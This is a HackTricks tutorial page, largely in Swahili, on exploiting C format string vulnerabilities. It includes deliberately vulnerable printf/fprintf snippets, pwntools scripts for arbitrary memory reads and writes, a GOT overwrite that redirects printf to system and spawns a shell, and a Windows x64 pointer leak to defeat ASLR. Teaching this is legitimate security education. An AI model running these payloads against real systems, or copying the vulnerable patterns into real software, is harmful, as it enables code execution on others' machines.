Format Strings
Reading time: 11 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Taarifa za Msingi
Katika C printf
ni function inayoweza kutumika kuchapisha kamba ya maandishi. Kigezo cha kwanza ambacho function hii inatarajia ni maandishi ya ghafi yenye formatters. Kigezo kinachofuata kinatarajiwa kuwa ni thamani za kuchukua nafasi za formatters kutoka kwa maandishi ya ghafi.
Functions nyingine zilizo hatarini ni sprintf()
na fprintf()
.
Utaratibu huo wa udhaifu hutokea wakati maandishi ya mshambuliaji yanapotumika kama hoja ya kwanza kwa function hii. Mshambuliaji ataweza kutengeneza ingizo maalum akitumia mbinu za printf format kusoma na kuandika data yoyote kwenye anuani yoyote (inayosomwa/inaoweza kuandikwa). Kwa njia hii ataweza kutekeleza code yoyote anayoitaka.
Vitambulishi (Formatters):
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Mifano:
- Mfano wenye udhaifu:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Matumizi ya Kawaida:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Kwa hoja zilizokosekana:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf wenye udhaifu:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Kupata Pointers
Muundo %<n>$x
, ambapo n
ni nambari, huruhusu kuagiza printf ichague param ya n (kutoka kwenye stack). Hivyo, ikiwa unataka kusoma param ya 4 kutoka kwenye stack kwa kutumia printf unaweza kufanya:
printf("%x %x %x %x")
na ungeisoma kutoka param ya kwanza hadi param ya nne.
Au unaweza kufanya:
printf("%4$x")
na kusoma moja kwa moja ile ya nne.
Tambua kwamba mshambulizi anadhibiti parameter ya printf
, ambayo kwa msingi inamaanisha kwamba input yake itakuwa kwenye stack wakati printf
inapoitwa, na hivyo anaweza kuandika memory addresses maalum kwenye stack.
caution
Mshambulizi anayetumia input hii ataweza kuongeza arbitrary address kwenye stack na kufanya printf
ziifikie. Katika sehemu inayofuata itafafanuliwa jinsi ya kutumia tabia hii.
Arbitrary Read
Inawezekana kutumia formatter %n$s
kufanya printf
ichukue address iliyoko katika nafasi n, kuifuata na kuichapisha kana kwamba ni string (inachapisha hadi 0x00 ipatikane). Kwa hivyo ikiwa base address ya binary ni 0x8048000
, na tunajua kwamba user input inaanza kwenye nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary kwa:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
caution
Kumbuka kwamba huwezi kuweka anwani 0x8048000 mwanzoni mwa input kwa sababu string itakatwa kwa 0x00 mwishoni mwa anwani hiyo.
Tafuta offset
Ili kupata offset kwa input yako unaweza kutuma 4 au 8 bytes (0x41414141
) ikifuatiwa na %1$x
na ongeza thamani mpaka utakapopata A's
.
Brute Force printf offset
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
Inavyosaidia
Arbitrary reads zinaweza kusaidia kwa:
- Dump the binary kutoka kumbukumbu
- Pata sehemu maalum za kumbukumbu ambapo taarifa nyeti imehifadhiwa (kama canaries, encryption keys au custom passwords kama katika CTF challenge)
Arbitrary Write
The formatter %<num>$n
inaandika idadi ya bytes zilizyoandikwa katika anwani iliyoonyeshwa kwenye param ya %<num>$n
iandike nambari yoyote katika anwani yoyote.
Kwa bahati nzuri, kuandika nambari 9999 hakuhitaji kuongeza "A" 9999 kwenye input; badala yake inawezekana kutumia formatter %.<num-write>%<num>$n
kuandika nambari <num-write>
kwenye anwani inayorejelewa na nafasi ya num
.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Hata hivyo, kumbuka kuwa kawaida ili kuandika anwani kama 0x08049724
(ambayo ni namba KUBWA kuandika kwa mara moja), inatumika $hn
badala ya $n
. Hii inaruhusu kuandika Bytes 2 tu. Kwa hivyo operesheni hii hufanywa mara mbili, moja kwa 2B za juu zaidi za anwani na mara nyingine kwa zile za chini.
Kwa hivyo, udhaifu huu unaruhusu kuandika chochote katika anwani yoyote (arbitrary write).
Katika mfano huu, lengo litakuwa overwrite anwani ya function katika jedwali la GOT ambayo itaitwa baadaye. Ingawa hii inaweza kutumia mbinu nyingine za arbitrary write to exec:
Tutafanya overwrite ya function ambayo hupokea hoja zake (arguments) kutoka kwa user na kuielekeza kwenye system
function.
Kama ilivyotajwa, kuandika anwani kawaida kunahitaji hatua 2: Unaandika awali 2Bytes za anwani kisha zile nyingine 2. Kwa kufanya hivyo hutumika $hn
.
- HOB inaitwa kwa 2 Bytes za juu za anwani
- LOB inaitwa kwa 2 Bytes za chini za anwani
Kisha, kutokana na jinsi format string inavyofanya kazi unahitaji kuandika kwanza ile ndogo ya [HOB, LOB] kisha ile nyingine.
If HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
If HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Pwntools Kiolezo
Unaweza kupata kiolezo la kuandaa exploit kwa aina hii ya udhaifu katika:
Au mfano huu wa msingi kutoka here:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings to BOF
Inawezekana kutumia vibaya vitendo vya kuandika vya format string vulnerability ili kuandika katika anwani za stack na exploit aina ya buffer overflow.
Windows x64: Format-string leak to bypass ASLR (no varargs)
On Windows x64 the first four integer/pointer parameters are passed in registers: RCX, RDX, R8, R9. In many buggy call-sites the attacker-controlled string is used as the format argument but no variadic arguments are provided, for example:
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
Kwa sababu hakuna varargs zinazopitishwa, conversion yoyote kama "%p", "%x", "%s" itasababisha CRT kusoma the next variadic argument kutoka kwa register inayofaa. Kwa Microsoft x64 calling convention, kusomwa kwa kwanza kwa "%p" kunatokea kutoka R9. Thamani yoyote ya muda iliyoko ndani ya R9 wakati wa call-site itachapishwa. Kivitendo hili mara nyingi huleak in-module pointer thabiti (mfano, pointer kwa local/global object iliyowekwa hapo awali katika R9 na surrounding code au callee-saved value), ambayo inaweza kutumika kurecover module base na kushinda ASLR.
Practical workflow:
- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
- Capture the leaked pointer, identify the static offset of that object inside the module (by reversing once with symbols or a local copy), and recover the image base as
leak - known_offset
. - Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely.
Example (abbreviated python):
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
Notes:
- Offset sahihi ya kutoa hupatikana mara moja wakati wa local reversing kisha kutumika tena (same binary/version).
- Ikiwa "%p" haitachapishi pointer halali kwenye jaribio la kwanza, jaribu specifiers wengine ("%llx", "%s") au conversions nyingi ("%p %p %p") ili kuchukua sampuli ya argument registers/stack nyingine.
- Mfumo huu ni maalum kwa Windows x64 calling convention na implementations za printf-family ambazo hupakua varargs zisizokuwepo kutoka registers wakati format string inazowahitaji.
Mbinu hii ni muhimu sana kuanzisha ROP kwenye Windows services zilizojengwa na ASLR na ambazo hazina memory disclosure primitives za wazi.
Other Examples & References
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, no relro, no canary, nx, no pie, matumizi ya msingi ya format strings ili leak the flag kutoka kwenye stack (hakuna haja ya kubadilisha execution flow)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie, format string ya kuandika juu address
fflush
na win function (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, no canary, nx, no pie, format string ya kuandika address ndani ya main kwenye
.fini_array
(kwa hivyo flow inarudi tena mara 1) na kuandika address kwasystem
kwenye GOT table inayoelekeza kwastrlen
. Wakati flow inaporudi main,strlen
itatekelezwa na user input na ikiwa inarejea kwasystem
, itatekeleza amri zilizopitishwa.
References
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.